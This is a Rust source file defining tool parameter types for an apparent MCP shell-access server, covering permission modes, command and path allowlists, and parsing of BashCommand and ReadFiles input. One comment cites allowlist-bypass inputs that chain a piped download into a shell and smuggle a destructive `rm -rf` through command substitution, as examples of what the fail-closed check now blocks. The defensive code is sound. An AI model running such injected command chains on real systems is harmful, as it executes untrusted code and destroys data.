winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9 if filtered.is_empty() {
10 return filtered;
11 }
12
13 // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14 // can otherwise create pathologically long state-file names. Preserve safe,
15 // short ids verbatim; every changed or oversized id receives a stable hash of
16 // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17 if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18 return filtered;
19 }
20
21 let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22 let mut prefix = String::with_capacity(prefix_budget);
23 for character in filtered.chars() {
24 if prefix.len() + character.len_utf8() > prefix_budget {
25 break;
26 }
27 prefix.push(character);
28 }
29 format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39 /// Screen is actively working (scanned across the whole screen). E.g.
40 /// `["esc to interrupt", "generating"]`.
41 #[serde(default)]
42 pub busy: Vec<String>,
43 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44 #[serde(default)]
45 pub awaiting_input: Vec<String>,
46 /// Screen is asking for confirmation (scanned in the tail). E.g.
47 /// `["do you want", "y/n"]`.
48 #[serde(default)]
49 pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53 /// True when no markers are configured (nothing to recognize).
54 pub fn is_empty(&self) -> bool {
55 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56 }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63 let mut hash: u32 = 0x811c_9dc5;
64 for byte in s.bytes() {
65 hash ^= u32::from(byte);
66 hash = hash.wrapping_mul(0x0100_0193);
67 }
68 hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78 /// Initial call at the start of a conversation
79 ///
80 /// This should be used for the first Initialize call in a conversation.
81 /// It sets up a new shell environment with the specified parameters.
82 FirstCall,
83
84 /// User requested to change the mode
85 ///
86 /// This should be used when the user asks to switch between modes
87 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88 UserAskedModeChange,
89
90 /// Reset the shell environment due to issues
91 ///
92 /// This should be used only after `BashCommand` reports a shell-runtime failure.
93 /// A repeated reset inside the recovery cooldown preserves the current PTY
94 /// unless a new runtime failure was observed.
95 ResetShell,
96
97 /// User requested to change the workspace
98 ///
99 /// This should be used when the user asks to switch to a different
100 /// workspace or project directory during the conversation.
101 UserAskedChangeWorkspace,
102
103 /// Read-only probe of an existing session: reports its workspace, cwd,
104 /// mode, runtime and whether a command is still running. Never creates,
105 /// resets or reconfigures anything; an unknown session answers
106 /// `needs_initialize` with the safe next call.
107 Status,
108}
109
110#[derive(Debug, Clone, PartialEq)]
111pub enum ModeName {
112 Wcgw,
113 Architect,
114 CodeWriter,
115}
116
117// Custom serializer implementation to ensure values are properly quoted in JSON
118impl Serialize for ModeName {
119 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
120 where
121 S: serde::Serializer,
122 {
123 match self {
124 ModeName::Wcgw => serializer.serialize_str("wcgw"),
125 ModeName::Architect => serializer.serialize_str("architect"),
126 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
127 }
128 }
129}
130
131// Custom deserializer to support multiple aliases
132impl<'de> Deserialize<'de> for ModeName {
133 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
134 where
135 D: serde::Deserializer<'de>,
136 {
137 let s = String::deserialize(deserializer)?;
138 match s.as_str() {
139 "wcgw" => Ok(ModeName::Wcgw),
140 "architect" => Ok(ModeName::Architect),
141 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
142 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
143 }
144 }
145}
146
147// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
148// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
149// `#/definitions/ModeName`, a node that was never populated. Lenient clients
150// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
151// likely ChatGPT) reject the whole tool call: "Reference not found:
152// #/definitions/ModeName". The variants mirror the Serialize impl above.
153impl JsonSchema for ModeName {
154 fn schema_name() -> std::borrow::Cow<'static, str> {
155 "ModeName".into()
156 }
157
158 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
159 schemars::json_schema!({
160 "type": "string",
161 "enum": ["wcgw", "architect", "code_writer"],
162 "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
163 })
164 }
165}
166
167#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
168pub struct CodeWriterConfig {
169 #[serde(default)]
170 pub allowed_globs: AllowedGlobs,
171 #[serde(default)]
172 pub allowed_commands: AllowedCommands,
173}
174
175impl CodeWriterConfig {
176 pub fn update_relative_globs(&mut self, workspace_root: &str) {
177 // Only process if we have a list of globs
178 if let AllowedGlobs::List(globs) = &self.allowed_globs {
179 let updated_globs = globs
180 .iter()
181 .map(|glob| {
182 if std::path::Path::new(glob).is_absolute() {
183 glob.clone()
184 } else {
185 format!("{workspace_root}/{glob}")
186 }
187 })
188 .collect();
189
190 self.allowed_globs = AllowedGlobs::List(updated_globs);
191 }
192 }
193}
194
195#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
196#[serde(untagged)]
197pub enum AllowedGlobs {
198 All(String),
199 List(Vec<String>),
200}
201
202impl Default for AllowedGlobs {
203 fn default() -> Self {
204 AllowedGlobs::All("all".to_string())
205 }
206}
207
208impl AllowedGlobs {
209 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
210 /// Without this, a literal glob named "all" would be the only allowed path.
211 pub fn normalize(&mut self) {
212 if let AllowedGlobs::List(items) = self {
213 if items.len() == 1 && items[0] == "all" {
214 *self = AllowedGlobs::All("all".to_string());
215 }
216 }
217 }
218
219 #[allow(dead_code)]
220 pub fn is_allowed(&self, path: &str) -> bool {
221 match self {
222 AllowedGlobs::All(s) if s == "all" => true,
223 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
224 Ok(pattern) => pattern.matches(path),
225 Err(_) => false,
226 }),
227 AllowedGlobs::All(_) => false,
228 }
229 }
230}
231
232#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
233#[serde(untagged)]
234pub enum AllowedCommands {
235 All(String),
236 List(Vec<String>),
237}
238
239impl Default for AllowedCommands {
240 fn default() -> Self {
241 AllowedCommands::All("all".to_string())
242 }
243}
244
245impl AllowedCommands {
246 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
247 pub fn normalize(&mut self) {
248 if let AllowedCommands::List(items) = self {
249 if items.len() == 1 && items[0] == "all" {
250 *self = AllowedCommands::All("all".to_string());
251 }
252 }
253 }
254
255 pub fn is_allowed(&self, command_line: &str) -> bool {
256 match self {
257 AllowedCommands::All(s) if s == "all" => true,
258 AllowedCommands::All(_) => false,
259 AllowedCommands::List(commands) => {
260 // Enforce the allowlist against EVERY command the line would run
261 // (pipelines, &&/||/;, command & process substitution, subshells),
262 // not just the first whitespace token — which `ls && curl|sh` and
263 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
264 // closed: a restricted mode must not run what it can't vet.
265 match crate::utils::bash_parser::extract_command_texts(command_line) {
266 Ok(cmds) if !cmds.is_empty() => cmds
267 .iter()
268 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
269 _ => false,
270 }
271 }
272 }
273 }
274}
275
276/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
277/// enforcing a word boundary so `ls` does not also permit `lsof`, and
278/// `cargo test` does not permit `cargo testimony`.
279fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
280 let cmd = cmd.trim();
281 let allowed = allowed.trim();
282 if allowed.is_empty() {
283 return false;
284 }
285 cmd == allowed
286 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
287}
288
289/// Parameters for initializing the shell environment
290///
291/// This struct represents the parameters needed to initialize or update the shell environment.
292/// It is used by the Initialize tool, which must be called before any other shell tools.
293#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
294pub struct Initialize {
295 /// Initialization type, indicating the purpose of the call
296 ///
297 /// - `FirstCall`: Initial setup for a new conversation
298 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
299 /// - `ResetShell`: Reset the shell if it's not working properly
300 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
301 /// - `Status`: Read-only probe of the bound session (workspace, cwd, mode, runtime, running command); never mutates
302 #[serde(rename = "type")]
303 #[serde(default = "default_init_type")]
304 pub init_type: InitializeType,
305
306 /// Path to the workspace directory or file
307 ///
308 /// Local transports accept an absolute path or one relative to the current directory.
309 /// Remote HTTP sessions require an absolute path so the project identity is unambiguous.
310 /// If it's a file, the parent directory will be used as the workspace.
311 /// If it doesn't exist and is an absolute path, it will be created.
312 /// If it's a relative path and doesn't exist, an error will be returned.
313 pub any_workspace_path: String,
314
315 /// List of files to read initially
316 ///
317 /// These files can be absolute paths or paths relative to the workspace.
318 /// They will be read and their contents provided in the response.
319 #[serde(default)]
320 pub initial_files_to_read: Vec<String>,
321
322 /// ID of a task to resume
323 ///
324 /// If provided during a `first_call`, the task with this ID will be resumed.
325 /// This allows continuing a conversation from a previous session.
326 #[serde(default = "String::new")]
327 #[serde(deserialize_with = "deserialize_string_or_null")]
328 pub task_id_to_resume: String,
329
330 /// Mode name for the shell environment
331 ///
332 /// - `wcgw`: Full permissions (default)
333 /// - `architect`: Restricted permissions, read-only
334 /// - `code_writer`: Custom permissions for code writing
335 #[serde(default = "default_mode_name")]
336 pub mode_name: ModeName,
337
338 /// ID of the thread session
339 ///
340 /// If not provided for a `first_call`, a new ID will be generated.
341 /// This ID must be included in all subsequent tool calls.
342 #[serde(default)]
343 #[serde(deserialize_with = "deserialize_string_or_null")]
344 pub thread_id: String,
345
346 /// Configuration for `code_writer` mode
347 ///
348 /// Only used when `mode_name` is "`code_writer`".
349 /// Specifies allowed commands and file globs for writing/editing.
350 #[serde(default)]
351 #[serde(deserialize_with = "deserialize_code_writer_config")]
352 pub code_writer_config: Option<CodeWriterConfig>,
353}
354
355// Custom deserializer for strings that might be null
356fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
357where
358 D: serde::Deserializer<'de>,
359{
360 // First try to deserialize as a string
361 let result = serde_json::Value::deserialize(deserializer)?;
362
363 match result {
364 // Return empty string for null values
365 serde_json::Value::Null => Ok(String::new()),
366 // If it's a string, use that
367 serde_json::Value::String(s) => {
368 // Handle "null" string specially
369 if s == "null" {
370 Ok(String::new())
371 } else {
372 Ok(s)
373 }
374 }
375 // Otherwise try to convert to a string
376 _ => match serde_json::to_string(&result) {
377 Ok(s) => Ok(s),
378 Err(_) => Ok(String::new()),
379 },
380 }
381}
382
383// Custom deserializer for code_writer_config that handles the "null" string case
384fn deserialize_code_writer_config<'de, D>(
385 deserializer: D,
386) -> Result<Option<CodeWriterConfig>, D::Error>
387where
388 D: serde::Deserializer<'de>,
389{
390 // This handles multiple possible input types
391 let value = serde_json::Value::deserialize(deserializer)?;
392
393 match value {
394 // If it's explicitly null or the string "null", return None
395 serde_json::Value::Null => Ok(None),
396 serde_json::Value::String(s) if s == "null" => Ok(None),
397 // Otherwise try to parse it as CodeWriterConfig
398 _ => {
399 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
400 Ok(config) => {
401 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
402 Ok(Some(config))
403 }
404 Err(e) => {
405 // Fail loud. A malformed restricted-mode config must NOT silently
406 // degrade to `None` — `None` falls back to All commands / All globs,
407 // so the model would believe the shell is locked down while it is in
408 // fact wide open. Refuse to initialize instead.
409 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
410 Err(serde::de::Error::custom(format!(
411 "Invalid code_writer config: {e}. Refusing to start with a permissive \
412 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
413 to opt out explicitly)."
414 )))
415 }
416 }
417 }
418 }
419}
420
421/// Default `mode_name` for Initialize
422fn default_mode_name() -> ModeName {
423 ModeName::Wcgw
424}
425
426/// Default `init_type` for Initialize
427fn default_init_type() -> InitializeType {
428 InitializeType::FirstCall
429}
430
431// Mode types
432#[derive(Debug, Clone, Copy, PartialEq)]
433pub enum Modes {
434 Wcgw,
435 Architect,
436 CodeWriter,
437}
438
439/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
440/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
441/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
442/// variant maps to a `Modes` one — adding a variant to either enum without the
443/// other becomes a compile error here.
444impl From<&ModeName> for Modes {
445 fn from(name: &ModeName) -> Self {
446 match name {
447 ModeName::Wcgw => Modes::Wcgw,
448 ModeName::Architect => Modes::Architect,
449 ModeName::CodeWriter => Modes::CodeWriter,
450 }
451 }
452}
453
454impl std::fmt::Display for Modes {
455 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
456 match self {
457 Modes::Wcgw => write!(f, "wcgw"),
458 Modes::Architect => write!(f, "architect"),
459 Modes::CodeWriter => write!(f, "code_writer"),
460 }
461 }
462}
463
464// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
465// `#/definitions/Modes` was dangling and breaks strict MCP clients.
466impl JsonSchema for Modes {
467 fn schema_name() -> std::borrow::Cow<'static, str> {
468 "Modes".into()
469 }
470
471 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
472 schemars::json_schema!({
473 "type": "string",
474 "enum": ["wcgw", "architect", "code_writer"]
475 })
476 }
477}
478
479/// Special key types for shell interaction
480/// Matches wcgw Python's Specials enum exactly
481#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
482pub enum SpecialKey {
483 Enter,
484 #[serde(rename = "Key-up")]
485 KeyUp,
486 #[serde(rename = "Key-down")]
487 KeyDown,
488 #[serde(rename = "Key-left")]
489 KeyLeft,
490 #[serde(rename = "Key-right")]
491 KeyRight,
492 #[serde(rename = "Ctrl-c")]
493 CtrlC,
494 #[serde(rename = "Ctrl-d")]
495 CtrlD,
496 #[serde(rename = "Ctrl-z")]
497 CtrlZ,
498}
499
500/// Parameters for the `ReadFiles` tool
501///
502/// This struct represents the parameters needed to read one or more files.
503/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
504#[derive(Debug, Clone, Serialize, JsonSchema)]
505pub struct ReadFiles {
506 /// List of file paths to read.
507 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
508 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
509 pub file_paths: Vec<String>,
510
511 /// Optional thread ID identifying the shell session to operate on. When
512 /// omitted, the most recently active session is used.
513 #[serde(default)]
514 pub thread_id: String,
515
516 // Internal fields - not part of MCP schema (parsed from file_paths)
517 #[serde(skip)]
518 #[schemars(skip)]
519 pub start_line_nums: Vec<Option<usize>>,
520
521 #[serde(skip)]
522 #[schemars(skip)]
523 pub end_line_nums: Vec<Option<usize>>,
524}
525
526// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
527impl<'de> Deserialize<'de> for ReadFiles {
528 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
529 where
530 D: serde::Deserializer<'de>,
531 {
532 #[derive(Deserialize)]
533 struct ReadFilesHelper {
534 file_paths: Option<Vec<String>>,
535 #[serde(default)]
536 thread_id: Option<String>,
537 }
538
539 let input = serde_json::Value::deserialize(deserializer)?;
540
541 if !input.is_object() {
542 if input.is_null() {
543 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
544 }
545 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
546 }
547
548 let helper: ReadFilesHelper = serde_json::from_value(input)
549 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
550
551 let thread_id = helper.thread_id.unwrap_or_default();
552 let file_paths = match helper.file_paths {
553 Some(paths) if !paths.is_empty() => paths,
554 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
555 None => return Err(serde::de::Error::custom("file_paths is required.")),
556 };
557
558 // Parse line ranges from file paths (like wcgw Python's model_post_init)
559 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
560 let mut start_line_nums = Vec::with_capacity(file_paths.len());
561 let mut end_line_nums = Vec::with_capacity(file_paths.len());
562
563 for path in file_paths {
564 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
565 clean_file_paths.push(clean_path);
566 start_line_nums.push(start);
567 end_line_nums.push(end);
568 }
569
570 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
571 }
572}
573
574fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
575 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
576 return (path.to_string(), None, None);
577 };
578
579 let Some((start, end)) = parse_line_spec(line_spec) else {
580 return (path.to_string(), None, None);
581 };
582
583 (potential_path.to_string(), start, end)
584}
585
586fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
587 if line_spec.chars().all(|c| c.is_ascii_digit()) {
588 return line_spec.parse().ok().map(|line| (Some(line), None));
589 }
590
591 let (start, end) = line_spec.split_once('-')?;
592
593 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
594 return end.parse().ok().map(|line| (None, Some(line)));
595 }
596
597 if !start.is_empty()
598 && start.chars().all(|c| c.is_ascii_digit())
599 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
600 {
601 let start = start.parse().ok()?;
602 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
603 return Some((Some(start), end));
604 }
605
606 None
607}
608
609impl ReadFiles {
610 /// Line numbers are always shown (like wcgw Python)
611 pub fn show_line_numbers(&self) -> bool {
612 true
613 }
614
615 /// Get the clean file path without line range suffix
616 pub fn get_clean_path(&self, index: usize) -> String {
617 parse_file_path_with_line_range(&self.file_paths[index]).0
618 }
619}
620
621/// Default true value for `status_check`
622fn default_true() -> bool {
623 true
624}
625
626/// Types of actions that can be performed with the `BashCommand` tool
627#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
628#[serde(tag = "type", rename_all = "snake_case")]
629pub enum BashCommandAction {
630 /// Execute a shell command
631 Command {
632 command: String,
633 #[serde(default)]
634 is_background: bool,
635 /// Opt out of the single-top-level-statement guard. By default winx
636 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
637 /// agent has to be explicit about what it's running. Set this to true
638 /// when you knowingly want to run a composite command without
639 /// wrapping it in `bash -lc '...'`.
640 #[serde(default)]
641 allow_multi: bool,
642 },
643
644 /// Check the status of a running command.
645 ///
646 /// By default returns only what changed since the previous call — agents
647 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
648 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
649 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
650 /// the PTY ringbuffer.
651 StatusCheck {
652 #[serde(default = "default_true")]
653 status_check: bool,
654 bg_command_id: Option<String>,
655 #[serde(default)]
656 scrollback_lines: Option<usize>,
657 #[serde(default)]
658 verbose: bool,
659 },
660
661 /// Send text to a running command. Set `submit` to true to append a carriage
662 /// return after the bytes so the target program receives the input as a
663 /// completed line (matches what hitting Enter would do in a TUI).
664 SendText {
665 /// Text to type into the running program. Must be non-empty: to press
666 /// Enter alone, use `send_specials: ["Enter"]` instead.
667 #[schemars(length(min = 1))]
668 send_text: String,
669 bg_command_id: Option<String>,
670 #[serde(default)]
671 submit: bool,
672 },
673
674 /// Send special keys to a running command. `submit` works the same as in
675 /// `SendText`.
676 SendSpecials {
677 send_specials: Vec<SpecialKey>,
678 bg_command_id: Option<String>,
679 #[serde(default)]
680 submit: bool,
681 },
682
683 /// Send ASCII characters to a running command. `submit` works the same as in
684 /// `SendText`.
685 SendAscii {
686 send_ascii: Vec<u8>,
687 bg_command_id: Option<String>,
688 #[serde(default)]
689 submit: bool,
690 },
691
692 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
693 /// view a human would see right now (cursor moves, redraws, alternate-screen
694 /// and synchronized-output already applied), ANSI stripped. Unlike
695 /// `status_check`, it never stacks redraw generations and never waits — a
696 /// point-in-time photo, ideal for reading an interactive TUI's current frame
697 /// (the `claude` CLI, vim, htop, fzf).
698 Screen {
699 #[serde(default = "default_true")]
700 screen: bool,
701 bg_command_id: Option<String>,
702 /// Last N visible lines to return (0 or omitted = full screen buffer).
703 #[serde(default)]
704 lines: Option<usize>,
705 /// When true, return only the lines that CHANGED since the last `screen`
706 /// look (big token savings when polling a TUI frame-by-frame) instead of
707 /// the whole frame. First look, or a large change, still returns full.
708 #[serde(default)]
709 diff: bool,
710 },
711
712 /// Block until an interactive TUI finishes its turn and is ready for input.
713 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
714 /// with a per-app recognizer, then returns the stable snapshot plus the
715 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
716 WaitForTurn {
717 #[serde(default = "default_true")]
718 wait_for_turn: bool,
719 bg_command_id: Option<String>,
720 /// Recognizer hint: `auto` (default, claude+codex), `generic`, or any
721 /// bundled agent-manifest id/alias — `claude`, `codex`, `gemini`,
722 /// `antigravity` (aka `agy`), `cursor`, `opencode`, `copilot`, `grok`,
723 /// `amp`, `droid`, `kimi`, `pi`, `qwen`, and more.
724 #[serde(default)]
725 recognizer: Option<String>,
726 /// Quiet window in ms — the screen must be unchanged this long to count
727 /// as idle (default 600).
728 #[serde(default)]
729 quiet_ms: Option<u64>,
730 /// Hard cap in seconds before returning regardless (default 30).
731 #[serde(default)]
732 timeout_seconds: Option<f32>,
733 /// Visible lines to return in the final snapshot (0 or omitted = full).
734 #[serde(default)]
735 lines: Option<usize>,
736 /// By default `wait_for_turn` returns as soon as it confirms the app is
737 /// actively working (`busy`), instead of blocking until the turn ends or
738 /// `timeout_seconds` elapses — so a long-running child never pins the
739 /// caller for the whole cap (poll again to keep watching). Set this to
740 /// true for the old behavior: block *through* `busy` until the app is
741 /// ready for input (or the timeout fires).
742 #[serde(default)]
743 wait_through_busy: bool,
744 },
745}
746
747/// Parameters for the `BashCommand` tool
748#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
749#[serde(rename_all = "snake_case")]
750pub enum BashWaitPolicy {
751 /// Wait for a bounded inline window. Task-capable clients keep short calls
752 /// inline and promote a command only after the runtime reports it running.
753 #[default]
754 Adaptive,
755 /// Always return the runtime state after a short bounded wait. This policy
756 /// never creates an MCP Task.
757 ReturnEarly,
758 /// Prefer one result after the command exits. Task-capable clients receive
759 /// an MCP Task immediately; other clients receive a bounded synchronous wait.
760 UntilComplete,
761}
762
763/// Parameters for the `BashCommand` tool
764#[derive(Debug, Clone, Serialize, JsonSchema)]
765pub struct BashCommand {
766 /// The action to perform (command, status check, etc.)
767 pub action_json: BashCommandAction,
768
769 /// Requested inline wait in seconds. With the default adaptive policy this
770 /// defaults to 15 without Tasks and is capped to the short promotion window
771 /// with Tasks; `return_early` caps it at 5; the synchronous `until_complete`
772 /// fallback uses 60. Runtime waits never exceed the selected policy's cap.
773 #[serde(default)]
774 #[serde(skip_serializing_if = "Option::is_none")]
775 pub wait_for_seconds: Option<f32>,
776
777 /// The thread ID for this session
778 #[serde(default)]
779 pub thread_id: String,
780}
781
782// Custom deserialization for BashCommand to handle string-encoded action_json
783impl<'de> Deserialize<'de> for BashCommand {
784 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
785 where
786 D: serde::Deserializer<'de>,
787 {
788 let input = serde_json::Value::deserialize(deserializer)?;
789 let serde_json::Value::Object(mut map) = input else {
790 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
791 };
792
793 let wait_for_seconds = map
794 .remove("wait_for_seconds")
795 .map(serde_json::from_value)
796 .transpose()
797 .map_err(serde::de::Error::custom)?;
798 // `wait_policy` is an MCP adapter concern rather than stored command
799 // state. Validate it here for direct deserializers, then keep the public
800 // `BashCommand` shape source-compatible for library callers.
801 map.remove("wait_policy")
802 .map(serde_json::from_value::<BashWaitPolicy>)
803 .transpose()
804 .map_err(serde::de::Error::custom)?;
805 let thread_id = map
806 .remove("thread_id")
807 .map(thread_id_from_value)
808 .transpose()
809 .map_err(serde::de::Error::custom)?
810 .unwrap_or_default();
811 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
812
813 // Process action_json which could be a string or an object
814 let action_json = match action_json_value {
815 serde_json::Value::String(s) => {
816 // If it's a string, normalize newlines and try to parse it as JSON
817 // Replace literal newlines with space to avoid JSON parsing errors
818 let sanitized = s.replace('\n', " ");
819 match serde_json::from_str(&sanitized) {
820 Ok(json) => normalize_action_json(json),
821 Err(e) => {
822 // If strict JSON parsing fails, try to be more lenient
823 // For commands containing literal newlines, just wrap the string in a command object
824 tracing::warn!(
825 "Failed to parse action_json as JSON, trying fallback: {}",
826 e
827 );
828
829 // Check for common JSON syntax issues
830 if s.contains("command") && s.contains('{') && s.contains('}') {
831 // It looks like JSON but has issues, let's try to sanitize it
832
833 // Detailed error for troubleshooting
834 tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
835
836 // Common issues: unescaped quotes, newlines, tabs
837 let re_sanitized = s
838 .replace('\n', "\\n") // Replace newlines with escaped newlines
839 .replace('\r', "\\r") // Replace carriage returns with escaped versions
840 .replace('\t', "\\t"); // Replace tabs with escaped versions
841
842 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
843 let re_sanitized = if !s.contains('"') && s.contains(':') {
844 // Very likely unquoted keys/values
845 tracing::debug!("Attempting to fix unquoted JSON keys/values");
846 re_sanitized
847 } else {
848 re_sanitized
849 };
850
851 match serde_json::from_str(&re_sanitized) {
852 Ok(json) => normalize_action_json(json),
853 Err(err) => {
854 // Log the specific parsing error for debugging
855 tracing::error!("Secondary JSON parse error: {}", err);
856 // Last resort fallback - assume it's a command string
857 // MUST include "type": "command" for serde tagged enum
858 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
859 }
860 }
861 } else {
862 // Assume it's a simple command string
863 // MUST include "type": "command" for serde tagged enum
864 tracing::info!(
865 bytes = s.len(),
866 "Treating action_json as simple command"
867 );
868 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
869 }
870 }
871 }
872 }
873 // If it's already an object or other JSON value, normalize legacy
874 // WCGW-style shorthand such as {"command": "..."}.
875 value => normalize_action_json(value),
876 };
877
878 // Now deserialize the action_json to our BashCommandAction enum
879 let action: BashCommandAction =
880 serde_json::from_value(action_json.clone()).map_err(|e| {
881 tracing::error!(
882 bytes = action_json.to_string().len(),
883 "Failed to deserialize action_json to BashCommandAction: {}",
884 e
885 );
886
887 // For the SyntaxError: Unexpected token case
888 let err_str = e.to_string();
889 if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
890 return serde::de::Error::custom(format!(
891 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
892 ));
893 }
894
895 serde::de::Error::custom(format!(
896 "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
897 ))
898 })?;
899
900 // Return the properly constructed BashCommand
901 Ok(BashCommand {
902 action_json: action,
903 wait_for_seconds,
904 thread_id: normalize_thread_id(&thread_id),
905 })
906 }
907}
908
909fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
910 match value {
911 serde_json::Value::Null => Ok(String::new()),
912 serde_json::Value::String(value) => Ok(value),
913 other => Err(format!("thread_id must be a string or null, got {other}")),
914 }
915}
916
917fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
918 let serde_json::Value::Object(map) = &mut value else {
919 return value;
920 };
921
922 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
923 *command = sanitize_shell_string(command);
924 }
925
926 if map.contains_key("type") {
927 return value;
928 }
929
930 let inferred_type = if map.contains_key("command") {
931 Some("command")
932 } else if map.contains_key("status_check") {
933 Some("status_check")
934 } else if map.contains_key("send_text") {
935 Some("send_text")
936 } else if map.contains_key("send_specials") {
937 Some("send_specials")
938 } else if map.contains_key("send_ascii") {
939 Some("send_ascii")
940 } else if map.contains_key("screen") {
941 Some("screen")
942 } else if map.contains_key("wait_for_turn") {
943 Some("wait_for_turn")
944 } else {
945 None
946 };
947
948 if let Some(action_type) = inferred_type {
949 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
950 }
951
952 value
953}
954
